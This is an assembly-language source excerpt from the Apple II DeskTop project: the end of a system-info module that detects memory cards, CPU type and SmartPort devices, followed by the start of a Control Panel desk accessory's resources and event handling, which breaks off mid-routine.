copy8 sigb0, buf0,x ; preserve bytes
copy8 sigb1, buf1,x
txa ; bank num as first signature
sta sigb0
eor #$FF ; complement as second signature
sta sigb1
dex
WHILE_X_NE #255
.endscope
;; Iterate upwards, tallying valid banks.
.scope
ldx #0 ; bank we are checking
DO
stx RAMWORKS_BANK ; select bank
txa
IF_A_EQ sigb0 ; verify first signature
eor #$FF
IF_A_EQ sigb1 ; verify second signature
iny ; match - count it
END_IF
END_IF
inx ; next bank
WHILE_NOT_ZERO ; if we hit 256 banks, make sure we exit
.endscope
;; Iterate upwards, restoring valid banks.
.scope
ldx #0 ; bank we are checking
DO
stx RAMWORKS_BANK ; select bank
txa
IF_A_EQ sigb0 ; verify first signature
eor #$FF
IF_A_EQ sigb1 ; verify second signature
copy8 buf0,x, sigb0 ; match - restore it
copy8 buf1,x, sigb1
END_IF
END_IF
inx ; next bank
WHILE_NOT_ZERO ; if we hit 256 banks, make sure we exit
.endscope
;; Switch back to RW bank 0 (normal aux memory)
copy8 #0, RAMWORKS_BANK
plp ; restore interrupt state
rts
.endproc ; CheckRamworksMemory
;;; ============================================================
.proc CheckIIgsMemory
bit ROMIN2 ; Check ROM - is this a IIgs?
sec
jsr IDROUTINE
bit LCBANK1
bit LCBANK1
IF_CC
.pushcpu
.setcpu "65816"
IF_Y_NE #0 ; Y = IIgs ROM revision
;; From the IIgs Memory Manager tool set source
;; c/o Antoine Vignau and Dagen Brock (ROM 1 & ROM 3)
NumBanks := $E11624
copy16 NumBanks, memory
ELSE
;; ROM0 location is slightly different
;; c/o Frank Milliron
NumBanks0 := $E1161A
copy16 NumBanks0, memory
END_IF
;; The memory manager only counts banks $DF and downward,
;; which skips ROM ($Fx) and slow RAM ($Ex). Assume the
;; two banks of slow RAM that every IIgs has ($E0/$E1)
add16_8 memory, #2
.popcpu
END_IF
rts
.endproc ; CheckIIgsMemory
;;; ============================================================
;;; Assert: Main is banked in (due to SmartPort calls)
.proc CheckSlinkyMemory
slot_ptr := $06
copy8 #7, slot
DO
;; Point at $Cn00
lda slot
jsr SetSlotPtr
;; Look for SmartPort signature bytes
ldx #3
DO
ldy sig_offsets,x
lda (slot_ptr),y
cmp sig_values,x
bne next
dex
WHILE_POS
;; Now look for device type
ldy #$FB ; $CnFB is SmartPort ID Type byte
lda (slot_ptr),y
and #%00000001 ; bit 0 = RAM card
beq next
;; Locate SmartPort entry point: $Cn00 + ($CnFF) + 3
ldy #$FF
lda (slot_ptr),y
clc
adc #3
sta sp_addr
copy8 slot_ptr+1, sp_addr+1
;; Make a STATUS call
;; NOTE: Must be done from Main.
;; https://github.com/a2stuff/a2d/issues/483
sp_addr := *+1
jsr SELF_MODIFIED
.byte $00 ; STATUS
.addr status_params
bcs next
;; Convert blocks (0.5k) to banks (64k)
ldx #7
DO
lsr dib_buffer+SPDIB::Device_Size_Hi
ror dib_buffer+SPDIB::Device_Size_Med
ror dib_buffer+SPDIB::Device_Size_Lo
dex
WHILE_NOT_ZERO
;; Rounding up if needed
IF_CS
inc16 dib_buffer+SPDIB::Device_Size_Lo
END_IF
add16 memory, dib_buffer+SPDIB::Device_Size_Lo, memory
next: dec slot
WHILE_NOT_ZERO
rts
sig_offsets:
.byte $01, $03, $05, $07
sig_values:
.byte $20, $00, $03, $00
slot:
.byte 0
DEFINE_SP_STATUS_PARAMS status_params, 1, dib_buffer, 3 ; Return Device Information Block (DIB)
.endproc ; CheckSlinkyMemory
;;; ============================================================
;;; Input: 16-bit unsigned integer in A,X
;;; Output: `str_from_int` populated, with separator if needed
str_from_int:
PASCAL_STRING "000,000"
;;; ============================================================
;;; Identify CPU - string pointer returned in A,X
.proc CPUId
sed
lda #$99
clc
adc #$01
cld
bmi p6502
clc
.pushcpu
.setcpu "65816"
sep #%00000001 ; two-byte NOP on 65C02
.popcpu
bcs p658xx
;; 65C02 - check for ZIP CHIP (except on IIc Plus)
lda model ; cached
IF_A_NE #model::iic_plus
php ; timing sensitive
sei
;; Unlock
lda #kZCUnlock
sta ZC_REG_LOCK
sta ZC_REG_LOCK
sta ZC_REG_LOCK
sta ZC_REG_LOCK
;; ZIP CHIP present?
lda ZC_REG_SLOTSPKR
eor #$FF
sta ZC_REG_SLOTSPKR
IF_A_EQ ZC_REG_SLOTSPKR
eor #$FF
sta ZC_REG_SLOTSPKR
IF_A_EQ ZC_REG_SLOTSPKR
;; Lock
copy8 #kZCLock, ZC_REG_LOCK
plp
return16 #str_65C02zip
rts
END_IF
END_IF
plp
END_IF
;; 65C02 - check for Rockwell R65C02
;; (inspired by David Empson on comp.sys.apple2)
.pushcpu
.setcpu "65C02"
.assert OPC_NOP = $EA, error, "NOP no no"
ldx $EA ; save $EA
lda #$FF
sta $EA
rmb1 $EA ; Rockwell R65C02 only; else NOP NOP
cmp $EA
stx $EA ; restore $EA
beq p65C02
.popcpu
return16 #str_R65C02
p65C02: return16 #str_65C02
p6502: return16 #str_6502
;; Distinguish 65802 and 65816 by machine ID
p658xx: bit ROMIN2
sec
jsr IDROUTINE
bit LCBANK1
bit LCBANK1
IF_CC
return16 #str_65816 ; Only IIgs supports 65816
END_IF
return16 #str_65802 ; Other boards support 65802
.endproc ; CPUId
;;; ============================================================
;;; Look up and print SmartPort device names to current GrafPort.
;;; Inputs: $06 points at $Cn00
;;; Follows Technical Note: SmartPort #4: SmartPort Device Types
;;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/smpt/tn.smpt.4.html
.proc ShowSmartPortDeviceNamesImpl
DEFINE_SP_STATUS_PARAMS status_params, 1, dib_buffer, 3 ; Return Device Information Block (DIB)
slot_ptr := $06
start:
SET_BIT7_FLAG empty_flag
lda #0
sta str_last
sta duplicate_count
;; Locate SmartPort entry point: $Cn00 + ($CnFF) + 3
ldy #$FF
lda (slot_ptr),y
clc
adc #3
sta sp_addr
copy8 slot_ptr+1, sp_addr+1
;; Query number of devices
copy8 #0, status_params::unit_num ; SmartPort status itself
copy8 #0, status_params::status_code
jsr SmartPortCall
lda dib_buffer+SPDIB::Number_Devices
IF_A_GE #kMaxSmartportDevices
lda #kMaxSmartportDevices
END_IF
sta num_devices
IF_ZERO
jmp finish ; no devices!
END_IF
;; Start with unit #1
copy8 #1, status_params::unit_num
copy8 #3, status_params::status_code ; Return Device Information Block (DIB)
device_loop:
;; Make the call
jsr SmartPortCall
bcs next
;; Trim trailing whitespace (seen in CFFA)
.scope
ldy dib_buffer+SPDIB::ID_String_Length
IF_NOT_ZERO
DO
lda dib_buffer+SPDIB::Device_Name-1,y
BREAK_IF_A_NE #' '
dey
WHILE_NOT_ZERO
END_IF
sty dib_buffer+SPDIB::ID_String_Length
.endscope
.if kBuildSupportsLowercase
;; Case-adjust
.scope
ldy dib_buffer+SPDIB::ID_String_Length
IF_NOT_ZERO
dey
IF_NOT_ZERO
;; Look at prior and current character; if both are alpha,
;; lowercase current.
DO
lda dib_buffer+SPDIB::Device_Name-1,y ; Test previous character
jsr IsAlpha
IF_EQ
lda dib_buffer+SPDIB::Device_Name,y ; Adjust this one if also alpha
jsr IsAlpha
IF_EQ
lda dib_buffer+SPDIB::Device_Name,y
ora #AS_BYTE(~CASE_MASK) ; guarded by `kBuildSupportsLowercase`
sta dib_buffer+SPDIB::Device_Name,y
END_IF
END_IF
dey
WHILE_NOT_ZERO
END_IF
END_IF
.endscope
.endif
str_current := dib_buffer+SPDIB::ID_String_Length
;; Empty?
lda dib_buffer+SPDIB::ID_String_Length
IF_ZERO
.assert .strlen(res_string_unknown) < kMaxSPDeviceNameLength, error, "string length"
COPY_STRING str_unknown, str_current
END_IF
;; Same as last?
jsr CompareWithLast
IF_EQ
inc duplicate_count
bne next ; always
END_IF
jsr MaybeDrawDuplicateSuffix
COPY_STRING str_current, str_last
;; Need a comma?
bit empty_flag
IF_PLUS
param_call DrawString, str_list_separator
END_IF
CLEAR_BIT7_FLAG empty_flag ; saw a unit!
;; Draw the device name
param_call DrawString, str_current
;; Next!
next: lda status_params::unit_num
cmp num_devices
beq finish
inc status_params::unit_num
jmp device_loop
finish:
jsr MaybeDrawDuplicateSuffix
;; If no units, populate with "(none)"
bit empty_flag
IF_NS
ldax #str_none
jsr DrawString
END_IF
rts
str_last:
.res ::kMaxSPDeviceNameLength+1
duplicate_count:
.byte 0
empty_flag: ; bit7 set while no entries seen
.byte 0
num_devices:
.byte 0
.proc SmartPortCall
;; NOTE: Must be done from Main.
;; https://github.com/a2stuff/a2d/issues/483
sp_addr := * + 1
jsr SELF_MODIFIED
.byte SPCall::Status
.addr status_params
rts
.endproc ; SmartPortCall
sp_addr = SmartPortCall::sp_addr
.proc CompareWithLast
lda str_current
cmp str_last
IF_EQ
tax
DO
lda str_current,x
BREAK_IF_A_NE str_last,x
dex
WHILE_NOT_ZERO
END_IF
rts
.endproc ; CompareWithLast
.proc MaybeDrawDuplicateSuffix
ldx duplicate_count
IF_NOT_ZERO
inx
txa
ora #'0'
sta str_duplicate_suffix + kDuplicateCountOffset
param_call DrawString, str_duplicate_suffix
copy8 #0, duplicate_count
END_IF
rts
.endproc ; MaybeDrawDuplicateSuffix
.endproc ; ShowSmartPortDeviceNamesImpl
ShowSmartPortDeviceNames := ShowSmartPortDeviceNamesImpl::start
;;; ============================================================
;;; Inputs: Character in A
;;; Outputs: Z=1 if alpha, 0 otherwise
;;; A is trashed
.proc IsAlpha
jsr ToUpperCase
cmp #'A'
bcc nope
cmp #'Z'+1
bcs nope
lda #0
rts
nope: lda #$FF
rts
.endproc ; IsAlpha
;;; ============================================================
;;; Copies string main>aux before drawing
;;; Input: A,X = address of length-prefixed string
.proc DrawString
params := $06
textptr := $06
textlen := $08
stax textptr
stax STARTLO
ldy #0
lda (textptr),y
IF_NOT_ZERO
sta textlen
copy16 #aux::buf_string+1, textptr
copy16 #aux::buf_string, DESTINATIONLO
add16_8 STARTLO, textlen, ENDLO
sec ; main>aux
jsr AUXMOVE
JUMP_TABLE_MGTK_CALL MGTK::DrawText, params
END_IF
rts
.endproc ; DrawString
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/detect_lcmeve.s"
ReadSetting = JUMP_TABLE_READ_SETTING
.include "../lib/inttostring.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 53,278
|
src/desk.acc/control.panel.s
|
;;; ============================================================
;;; CONTROL.PANEL - Desk Accessory
;;;
;;; A control panel offering system settings:
;;; * DeskTop pattern
;;; * Mouse tracking speed
;;; * Double-click speed
;;; * Insertion point blink rate
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "control.panel.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub & save | | GUI code & |
;;; | settings | | resource |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc RunDA
jsr Init
lda dialog_result
rts
.endproc ; RunDA
;;; High bit set when anything changes.
dialog_result:
.byte 0
.proc MarkDirty
lda #$80
ora dialog_result
sta dialog_result
rts
.endproc ; MarkDirty
;;; ============================================================
kDAWindowId = $80
kDAWidth = 431
kDAHeight = 132
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
.params frame_pensize
penwidth: .byte 4
penheight: .byte 2
.endparams
DEFINE_POINT frame_l1a, 0, 68
DEFINE_POINT frame_l1b, 205, 68
DEFINE_POINT frame_l2a, 205, 68
DEFINE_POINT frame_l2b, kDAWidth, 68
DEFINE_POINT frame_l3a, 205, 0
DEFINE_POINT frame_l3b, 205, kDAHeight
DEFINE_RECT frame_rect, AS_WORD(-1), AS_WORD(-1), kDAWidth - 2, kDAHeight
;;; ============================================================
.include "../lib/event_params.s"
last_mouse_pos: .tag MGTK::Point
.params trackgoaway_params
clicked: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
;;; ============================================================
;;; Desktop Pattern Editor Resources
kPatternEditX = 22
kPatternEditY = 6
kFatBitWidth = 8
kFatBitWidthShift = 3
kFatBitHeight = 4
kFatBitHeightShift = 2
DEFINE_RECT_SZ fatbits_frame, kPatternEditX, kPatternEditY, 8 * kFatBitWidth + 1, 8 * kFatBitHeight + 1
;; For hit testing
DEFINE_RECT_SZ fatbits_rect, kPatternEditX+1, kPatternEditY+1, 8 * kFatBitWidth - 1, 8 * kFatBitHeight - 1
DEFINE_BUTTON pattern_button, kDAWindowId, res_string_label_pattern, "^D", kPatternEditX-10, kPatternEditY + 36, 180
kPreviewLeft = kPatternEditX + 79
kPreviewTop = kPatternEditY
kPreviewRight = kPreviewLeft + 81
kPreviewBottom = kPreviewTop + 33
kPreviewSpacing = kPreviewTop + 6
DEFINE_RECT preview_rect, kPreviewLeft+1, kPreviewSpacing + 1, kPreviewRight - 1, kPreviewBottom - 1
DEFINE_RECT preview_line, kPreviewLeft, kPreviewSpacing, kPreviewRight, kPreviewSpacing
DEFINE_RECT preview_frame, kPreviewLeft, kPreviewTop, kPreviewRight, kPreviewBottom
kArrowWidth = 6
kArrowHeight = 5
kArrowInset = 5
kRightArrowLeft = kPreviewRight - kArrowInset - kArrowWidth
kRightArrowTop = kPreviewTop+1
kRightArrowRight = kRightArrowLeft + kArrowWidth - 1
kRightArrowBottom = kRightArrowTop + kArrowHeight - 1
kLeftArrowLeft = kPreviewLeft + kArrowInset + 1
kLeftArrowTop = kPreviewTop + 1
kLeftArrowRight = kLeftArrowLeft + kArrowWidth - 1
kLeftArrowBottom = kLeftArrowTop + kArrowHeight - 1
.params larr_params
DEFINE_POINT viewloc, kLeftArrowLeft, kLeftArrowTop
mapbits: .addr larr_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kArrowWidth-1, kArrowHeight-1
REF_MAPINFO_MEMBERS
.endparams
.params rarr_params
DEFINE_POINT viewloc, kRightArrowLeft, kRightArrowTop
mapbits: .addr rarr_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kArrowWidth-1, kArrowHeight-1
REF_MAPINFO_MEMBERS
.endparams
DEFINE_RECT larr_rect, kLeftArrowLeft-2, kLeftArrowTop, kLeftArrowRight+2, kLeftArrowBottom
DEFINE_RECT rarr_rect, kRightArrowLeft-2, kRightArrowTop, kRightArrowRight+2, kRightArrowBottom
larr_bitmap:
PIXELS "....##"
PIXELS "..####"
PIXELS "######"
PIXELS "..####"
PIXELS "....##"
rarr_bitmap:
PIXELS "##...."
PIXELS "####.."
PIXELS "######"
PIXELS "####.."
PIXELS "##...."
DEFINE_BUTTON rgb_color_button, kDAWindowId, res_string_label_rgb_color, res_string_shortcut_apple_1, kPatternEditX + 46, kPatternEditY + 50
;;; ============================================================
;;; Double-Click Speed Resources
kDblClickX = 223
kDblClickY = 6
;; Selected index (1-3, or 0 for 'no match')
dblclick_selection:
.byte 1
;; Computed counter values
kDblClickSpeedTableSize = 3
dblclick_speed_table:
.word kDefaultDblClickSpeed * 1
.word kDefaultDblClickSpeed * 4
.word kDefaultDblClickSpeed * 16
DEFINE_LABEL dblclick_speed, res_string_label_dblclick_speed, kDblClickX + 45, kDblClickY + 47
.params dblclick_params
DEFINE_POINT viewloc, kDblClickX, kDblClickY
mapbits: .addr dblclick_bitmap
mapwidth: .byte 8
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 53, 33
REF_MAPINFO_MEMBERS
.endparams
kNumArrows = 6
arrows_table:
DEFINE_POINT dblclick_arrow_pos1, kDblClickX + 65, kDblClickY + 7
DEFINE_POINT dblclick_arrow_pos2, kDblClickX + 65, kDblClickY + 22
DEFINE_POINT dblclick_arrow_pos3, kDblClickX + 110, kDblClickY + 10
DEFINE_POINT dblclick_arrow_pos4, kDblClickX + 110, kDblClickY + 22
DEFINE_POINT dblclick_arrow_pos5, kDblClickX + 155, kDblClickY + 13
DEFINE_POINT dblclick_arrow_pos6, kDblClickX + 155, kDblClickY + 22
ASSERT_RECORD_TABLE_SIZE arrows_table, kNumArrows, .sizeof(MGTK::Point)
DEFINE_BUTTON dblclick_button1, kDAWindowId,,, kDblClickX + 175, kDblClickY + 25
DEFINE_BUTTON dblclick_button2, kDAWindowId,,, kDblClickX + 130, kDblClickY + 25
DEFINE_BUTTON dblclick_button3, kDAWindowId,,, kDblClickX + 85, kDblClickY + 25
DEFINE_LABEL dblclick_shortcut1, .sprintf("(%c4)", ::kGlyphOpenApple), kDblClickX + 85, kDblClickY + 22
DEFINE_LABEL dblclick_shortcut2, .sprintf("(%c5)", ::kGlyphOpenApple), kDblClickX + 130, kDblClickY + 22
DEFINE_LABEL dblclick_shortcut3, .sprintf("(%c6)", ::kGlyphOpenApple), kDblClickX + 175, kDblClickY + 22
dblclick_bitmap:
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "..........................##.........................."
PIXELS "......................................................"
PIXELS "........................######........................"
PIXELS "......................................................"
PIXELS "......................##########......................"
PIXELS "......................................................"
PIXELS "..................##################.................."
PIXELS "....###############................###############...."
PIXELS "..###............................................###.."
PIXELS "###................................................###"
PIXELS "##......######################################......##"
PIXELS "##......##..................................##......##"
PIXELS "##......##.............########.............##......##"
PIXELS "##......##..........####......####..........##......##"
PIXELS "##......##........###.##......##.###........##......##"
PIXELS "##......##.#.#.#.###..##......##..###.#.#.#.##......##"
PIXELS "##......##........##..##......##..##........##......##"
PIXELS "##......##........##..##......##..##........##......##"
PIXELS "##......##........##...########...##........##......##"
PIXELS "##......##........##..............##........##......##"
PIXELS "##......############..............############......##"
PIXELS "##................##..............##................##"
PIXELS "##................##..............##................##"
PIXELS "##................##..............##................##"
PIXELS "##................##..............##................##"
PIXELS "##................##..............##................##"
.params darrow_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr darr_bitmap
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 16, 7
REF_MAPINFO_MEMBERS
.endparams
darr_bitmap:
PIXELS ".....#######....."
PIXELS ".....#######....."
PIXELS ".....#######....."
PIXELS "#################"
PIXELS "..#############.."
PIXELS "....#########...."
PIXELS "......#####......"
PIXELS "........#........"
;;; ============================================================
;;; Mouse Tracking Resources
kMouseTrackingX = 25
kMouseTrackingY = 78
DEFINE_LABEL mouse_tracking, res_string_label_mouse_tracking, kMouseTrackingX + 30, kMouseTrackingY + 45
DEFINE_BUTTON tracking_slow_button, kDAWindowId, res_string_label_slow, res_string_shortcut_apple_2, kMouseTrackingX + 84, kMouseTrackingY + 8
DEFINE_BUTTON tracking_fast_button, kDAWindowId, res_string_label_fast, res_string_shortcut_apple_3, kMouseTrackingX + 84, kMouseTrackingY + 21
.params mouse_tracking_params
DEFINE_POINT viewloc, kMouseTrackingX + 5, kMouseTrackingY
mapbits: .addr mouse_tracking_bitmap
mapwidth: .byte 9
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 62, 31
REF_MAPINFO_MEMBERS
.endparams
mouse_tracking_bitmap:
PIXELS "......................##..##..##..######......................"
PIXELS "........................................##...................."
PIXELS "..........................................##.................."
PIXELS "..........................................##.................."
PIXELS ".............................................................."
PIXELS ".........................................####................."
PIXELS ".............................................................."
PIXELS ".....................................############............."
PIXELS "............................#########............#########...."
PIXELS "..........................##..............................##.."
PIXELS "............##..##..##..##....#..####################..#....##"
PIXELS "........................##...#...##................##...#...##"
PIXELS "...........##..##..###..##...#...##.#.#.#.#.#.#.#.###...#...##"
PIXELS "........................##...#...##................##...#...##"
PIXELS "..........##..##..####..##...#...##................##...#...##"
PIXELS "........................##...#...####################...#...##"
PIXELS ".........##..##..#####..##...#..........................#...##"
PIXELS "........................##...#..........................#...##"
PIXELS "........##..##..######..##...#..........................#...##"
PIXELS "........................##...#..........................#...##"
PIXELS ".......##..##..#######..##...#..........................#...##"
PIXELS "........................##...#..........................#...##"
PIXELS "......##..##..########..##...#..........................#...##"
PIXELS "........................##...#..........................#...##"
PIXELS "....##..##..##########..##...#..........................#...##"
PIXELS "........................##...#..........................#...##"
PIXELS "..##..##..############..##...#..........................#...##"
PIXELS "........................##...#..........................#...##"
PIXELS "##..##..##############..##...#..........................#...##"
PIXELS "........................##....##########################....##"
PIXELS "..........................##..............................##.."
PIXELS "............................##############################...."
.params scalemouse_params
x_exponent: .byte 0
y_exponent: .byte 0
.endparams
;;; ============================================================
;;; Caret Blink Speed Resources
kCaretBlinkDisplayX = 229
kCaretBlinkDisplayY = 85
;; Selected index (1-3, or 0 for 'no match')
caret_blink_selection:
.byte 0
DEFINE_LABEL caret_blink1, res_string_label_ipblink1, kCaretBlinkDisplayX-4, kCaretBlinkDisplayY + 11
DEFINE_LABEL caret_blink2, res_string_label_ipblink2, kCaretBlinkDisplayX-4, kCaretBlinkDisplayY + 21
DEFINE_LABEL caret_blink_slow, res_string_label_slow, kCaretBlinkDisplayX + 100, kCaretBlinkDisplayY + 34
DEFINE_LABEL caret_blink_fast, res_string_label_fast, kCaretBlinkDisplayX + 189, kCaretBlinkDisplayY + 34
DEFINE_LABEL caret_blink_button1_shortcut, .sprintf("(%c7)", ::kGlyphOpenApple), kCaretBlinkDisplayX + 100, kCaretBlinkDisplayY + 45
DEFINE_LABEL caret_blink_button2_shortcut, .sprintf("(%c8)", ::kGlyphOpenApple), kCaretBlinkDisplayX + 144, kCaretBlinkDisplayY + 45
DEFINE_LABEL caret_blink_button3_shortcut, .sprintf("(%c9)", ::kGlyphOpenApple), kCaretBlinkDisplayX + 189, kCaretBlinkDisplayY + 45
DEFINE_BUTTON caret_blink_button1, kDAWindowId,,, kCaretBlinkDisplayX + 116, kCaretBlinkDisplayY + 16
DEFINE_BUTTON caret_blink_button2, kDAWindowId,,, kCaretBlinkDisplayX + 136, kCaretBlinkDisplayY + 16
DEFINE_BUTTON caret_blink_button3, kDAWindowId,,, kCaretBlinkDisplayX + 156, kCaretBlinkDisplayY + 16
.params caret_blink_bitmap_params
DEFINE_POINT viewloc, kCaretBlinkDisplayX + 123, kCaretBlinkDisplayY
mapbits: .addr caret_blink_bitmap
mapwidth: .byte 6
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 37, 12
REF_MAPINFO_MEMBERS
.endparams
caret_blink_bitmap:
PIXELS "....##..............##..............##...."
PIXELS "....................##...................."
PIXELS "........##..........##..........##........"
PIXELS "....................##...................."
PIXELS "............##......##......##............"
PIXELS "....................##...................."
PIXELS "##..##..##..##......##......##..##..##..##"
PIXELS "....................##...................."
PIXELS "............##......##......##............"
PIXELS "....................##...................."
PIXELS "........##..........##..........##........"
PIXELS "....................##...................."
PIXELS "....##..............##..............##...."
kCaretBmpPosX = kCaretBlinkDisplayX + 143
kCaretBmpPosY = kCaretBlinkDisplayY
kCaretBmpWidth = 2
kCaretBmpHeight = 13
.params caret_blink_bitmap_caret_params
DEFINE_POINT viewloc, kCaretBmpPosX, kCaretBmpPosY
mapbits: .addr caret_blink_caret_bitmap
mapwidth: .byte 1
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCaretBmpWidth - 1, kCaretBmpHeight - 1
REF_MAPINFO_MEMBERS
.endparams
caret_blink_caret_bitmap:
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
PIXELS "##"
;;; ============================================================
.proc Init
jsr InitPattern
jsr InitCaretBlink
jsr InitDblclick
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
jsr DoCaretBlink
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
jsr GetNextEvent
cmp #kEventKindMouseMoved
beq HandleMove
cmp #MGTK::EventKind::button_down
jeq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
bne InputLoop ; always
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleMove
;; For warping the cursor after scaling change
COPY_STRUCT event_params::coords, last_mouse_pos
jmp InputLoop
.endproc ; HandleMove
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
IF_A_GE #'1'
IF_A_LT #'9'+1
sec
sbc #'1'
tax
copylohi shortcut_table_addr_lo,x, shortcut_table_addr_hi,x, addr
lda shortcut_table_values,x
addr := *+1
jmp SELF_MODIFIED
END_IF
END_IF
jmp InputLoop
END_IF
cmp #CHAR_ESCAPE
jeq Exit
cmp #CHAR_LEFT
jeq HandleLArrClick
cmp #CHAR_RIGHT
jeq HandleRArrClick
IF_A_EQ #CHAR_CTRL_D
BTK_CALL BTK::Flash, pattern_button
jmp HandlePatternClick
END_IF
jmp InputLoop
shortcut_table_values:
.byte 0, 0, 1, 3, 2, 1, 1, 2, 3
shortcut_table_addr_lo:
.byte <HandleRGBClick, <HandleTrackingClick, <HandleTrackingClick, <HandleDblclickClick, <HandleDblclickClick, <HandleDblclickClick, <HandleCaretBlinkClick, <HandleCaretBlinkClick, <HandleCaretBlinkClick
shortcut_table_addr_hi:
.byte >HandleRGBClick, >HandleTrackingClick, >HandleTrackingClick, >HandleDblclickClick, >HandleDblclickClick, >HandleDblclickClick, >HandleCaretBlinkClick, >HandleCaretBlinkClick, >HandleCaretBlinkClick
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
jne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleClick
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
jne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleClick
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
;; ----------------------------------------
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, fatbits_rect
jne HandleBitsClick
MGTK_CALL MGTK::InRect, larr_rect
jne HandleLArrClick
MGTK_CALL MGTK::InRect, rarr_rect
jne HandleRArrClick
MGTK_CALL MGTK::InRect, preview_rect
jne HandlePatternClick
MGTK_CALL MGTK::InRect, pattern_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, pattern_button
jmi InputLoop
jmp HandlePatternClick
END_IF
MGTK_CALL MGTK::InRect, rgb_color_button::rect
jne HandleRGBClick
;; ----------------------------------------
MGTK_CALL MGTK::InRect, dblclick_button1::rect
IF_NOT_ZERO
lda #1
jmp HandleDblclickClick
END_IF
MGTK_CALL MGTK::InRect, dblclick_button2::rect
IF_NOT_ZERO
lda #2
jmp HandleDblclickClick
END_IF
MGTK_CALL MGTK::InRect, dblclick_button3::rect
IF_NOT_ZERO
lda #3
jmp HandleDblclickClick
END_IF
;; ----------------------------------------
MGTK_CALL MGTK::InRect, tracking_slow_button::rect
IF_NOT_ZERO
lda #0
jmp HandleTrackingClick
END_IF
MGTK_CALL MGTK::InRect, tracking_fast_button::rect
IF_NOT_ZERO
lda #1
jmp HandleTrackingClick
END_IF
;; ----------------------------------------
